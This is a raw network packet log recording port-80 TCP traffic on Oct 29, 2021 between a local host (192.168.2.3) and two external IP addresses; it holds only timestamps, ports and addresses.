Oct 29, 2021 14:11:14.251979113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.251986980 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.252017975 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252587080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252626896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252665997 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252702951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252741098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252779007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252805948 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.252815962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252880096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252918959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.252954960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.253273010 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.253781080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.253808022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.253868103 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.253906012 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.253943920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.253979921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254179001 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254218102 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254255056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254292965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254331112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254792929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254813910 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.254832983 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254873037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254926920 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.254962921 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.255001068 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.255799055 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.256179094 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.259135008 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.265793085 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.265973091 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266011000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266047955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266087055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266123056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266151905 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266210079 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266247034 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266284943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266324043 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266360044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266397953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266426086 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266729116 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266767025 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266804934 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266832113 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.266937017 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.267124891 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267163038 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267199993 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267219067 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267266989 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267297983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267337084 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267364025 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267402887 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267438889 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267476082 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267502069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267821074 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.267888069 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.267925978 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268042088 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268069983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268105984 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268143892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268182039 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268205881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268340111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268379927 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268416882 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268452883 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268491030 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268527985 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268554926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268593073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268627882 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268666983 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268695116 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.268826962 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.269148111 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269188881 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269226074 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269263029 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269300938 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269337893 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269366026 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269404888 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269439936 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269479036 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269504070 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.269829988 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.270812988 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.271816015 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.272846937 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.307216883 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.307270050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.307311058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.307337046 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.307823896 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.317850113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.317895889 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.317931890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.317970037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318008900 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318044901 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318082094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318119049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318155050 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318192959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318228960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318267107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318304062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318341017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318377972 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318414927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318450928 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318490028 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.318828106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.319299936 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319339037 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319377899 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319415092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319453955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319493055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319529057 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319567919 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319605112 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319641113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319679022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319715977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319753885 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319792032 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319807053 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.319838047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319876909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319932938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.319969893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320007086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320044994 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320080996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320118904 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320154905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320193052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320233107 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320269108 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320306063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320343018 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320378065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320415020 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320452929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320489883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320528984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320564985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320601940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320638895 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320674896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320712090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320749998 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320787907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320794106 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.320827007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320892096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320930004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.320967913 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321006060 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321042061 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321079016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321115971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321154118 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321192980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321229935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321268082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321305990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321341038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.321801901 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.322314978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.322818995 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.322839975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.322845936 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.322858095 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.323120117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323168993 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323209047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323245049 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323282003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323332071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323369980 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323406935 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323443890 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323479891 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323518038 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323555946 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323595047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323633909 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323668957 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323707104 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.323805094 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.324793100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.328202963 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.328887939 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.328929901 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.328968048 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329005957 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329041958 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329081059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329108000 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329144955 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329183102 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329219103 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329246044 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329283953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329319954 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329359055 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329385996 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.329839945 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.330266953 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330307961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330347061 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330382109 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330420017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330456972 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330483913 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330522060 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330557108 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330594063 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330620050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330656052 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330693007 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330729961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330756903 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.330821991 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.331012964 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331048012 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331083059 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331108093 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331140995 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331192017 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331227064 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331248999 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331567049 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331603050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331722021 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331748962 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331783056 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331815004 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.331818104 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331861973 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331901073 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331934929 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331970930 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.331996918 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332030058 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332065105 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332098961 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332122087 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332155943 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332190037 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332223892 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332248926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332282066 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332317114 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332350969 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332372904 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.332813978 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.333817959 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.334810019 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.370029926 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.370088100 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.370126009 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.370156050 CEST	80	50088	45.141.84.21	192.168.2.3
Oct 29, 2021 14:11:14.370834112 CEST	50088	80	192.168.2.3	45.141.84.21
Oct 29, 2021 14:11:14.385891914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.385950089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.385987043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.386025906 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.386065960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.386101007 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.386138916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.386176109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388274908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388315916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388360977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388400078 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388449907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388487101 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388524055 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388561964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388597965 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388637066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388674021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388711929 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388751984 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388787985 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388825893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388900042 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388937950 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.388973951 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389012098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389049053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389086962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389125109 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389161110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389205933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389254093 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389290094 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389328003 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389365911 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389403105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389770031 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389808893 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389856100 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389894962 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389930964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.389970064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390007019 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390043974 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390079021 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.390081882 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390120029 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390157938 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390181065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.390197992 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:14.390202999 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:14.390230894 CEST	50094	80	192.168.2.3	193.56.146.214
